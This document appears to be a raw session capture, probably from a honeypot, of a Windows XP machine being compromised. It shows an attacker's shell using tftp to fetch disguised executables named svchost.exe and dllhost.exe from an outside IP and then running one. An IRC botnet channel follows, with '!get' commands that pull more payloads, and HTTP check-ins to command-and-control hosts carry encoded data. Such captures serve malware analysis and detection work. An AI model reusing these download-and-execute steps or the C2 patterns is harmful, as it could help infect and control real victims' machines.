VICTIM:  	Microsoft Windows XP [Version 5.1.2600] 
VICTIM:  	(C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> 
VICTIM:  	dir wins\\dllhost.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\winsFile Not FoundC:\\WINDOWS\\system32> 
VICTIM:  	dir dllcache\\tftpd.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\dllcacheFile Not FoundC:\\WINDOWS\\system32> 
VICTIM:  	tftp -i 110.12.71.48 get svchost.exe wins\\SVCHOST.EXE 
VICTIM:  	\000\001svchost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	\000\004\000) 
VICTIM:  	\000\004\000* 
VICTIM:  	\000\004\000+ 
VICTIM:  	\000\004\000, 
VICTIM:  	\000\004\000- 
VICTIM:  	\000\004\000. 
VICTIM:  	\000\004\000/ 
VICTIM:  	\000\004\0000 
VICTIM:  	\000\004\0001 
VICTIM:  	\000\004\0002 
VICTIM:  	\000\004\0003 
VICTIM:  	\000\004\0004 
VICTIM:  	\000\004\0005 
VICTIM:  	\000\004\0006 
VICTIM:  	\000\004\0007 
VICTIM:  	\000\004\0008 
VICTIM:  	\000\004\0009 
VICTIM:  	\000\004\000: 
VICTIM:  	Transfer successful: 29184 bytes in 24 seconds, 1216 bytes/s 
VICTIM:  	C:\\WINDOWS\\system32> 
VICTIM:  	\000\001dllhost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	tftp -i 110.12.71.48 get dllhost.exe wins\\DLLHOST.EXE 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	Transfer successful: 19968 bytes in 16 seconds, 1248 bytes/s 
VICTIM:  	C:\\WINDOWS\\system32> 
VICTIM:  	wins\\DLLHOST.EXE 
VICTIM:  	NICK rqzqulxvUSER q020501 . . :- 
VICTIM:  	JOIN &virtu 
ATTACKER:	:u. PRIVMSG rqzqulxv :!get http:/mnbmnbmnb.com/tr9.txt:u. PRIVMSG rqzqulxv :!get http:/188.247.135.115/~newsys/files/winarp.exe 
VICTIM:  	GET /tr9.txt HTTP/1.0User-Agent: DownloadHost: mnbmnbmnb.comPragma: no-cache 
ATTACKER:	GET /~newsys/files/winarp.exe HTTP/1.0User-Agent: DownloadHost: 188.247.135.115Pragma: no-cache 
ATTACKER:	GET /list.php?c=B4AC885F94224AE64DAAC6EE0346C213D049B58E0B2469F7DCEACA9F5FE9F6DDDFE10E13F3845D3386FFC45E0D4897B5778D4CBB9FE6A5854372&v=2&t=0.3078882 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: tretr23.comConnection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /temp/3481.exe?t=0.1708643 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: nochnoch98.comConnection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /sn.php?c=C0DEC024FA6A8B2D4DA712395711BF4E0B900C380E5EEA20E1D9C8BF66CF7F5987FEEA01FE95F9C99AFD6F03767BC1DBF03AA6106C1F517728107B0EAA069A0686D7FB8E9D4CA33CFEC4156F09E774AB8F789EA3FC823234D37198F500F58BF0D386B4AA95BF54CB1FAC1592DFDF71EB1FE857789BDCF6D1A4FDD0BF57E18B35C2C716BEE3D015D0E2D7C19003CA9310&t=0.6944239 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: tretr23.comConnection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /sn.php?c=8997D0346AFABC1A13F918331B5D50A1A63DB98D6F3FF53F172F7E090FA67B5D8CF54BA069026F5FEB8CB9D5BBB6E3F9935901B76E1D6D4B49711B6EA60A72EE7524275217C6A53A8EB40B711AF4CA15D3245E63007EC0C63C9E84E9A653BEC5B0E51B054963DD4278CB96009C65D75FF4012876184B0E3C8C98E4919436D02AEAFA228B1527D91C66512474E72F1999C220&t=8.907717E-02 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: tretr23.comConnection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /temp/int.exe?t=0.3500635 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: nochnoch98.comConnection: Keep-AlivePragma: no-cache 
VICTIM:  	POST /+28349.html HTTP/1.1Accept: */*Accept-Language: en-usCB2: 1User-Agent: MozillaHost: 80.73.5.141 
VICTIM:  	POST /+28349.html HTTP/1.1Accept: */*Accept-Language: en-usCB2: 1User-Agent: MozillaHost: 78.139.191.140Connection: Keep-Alive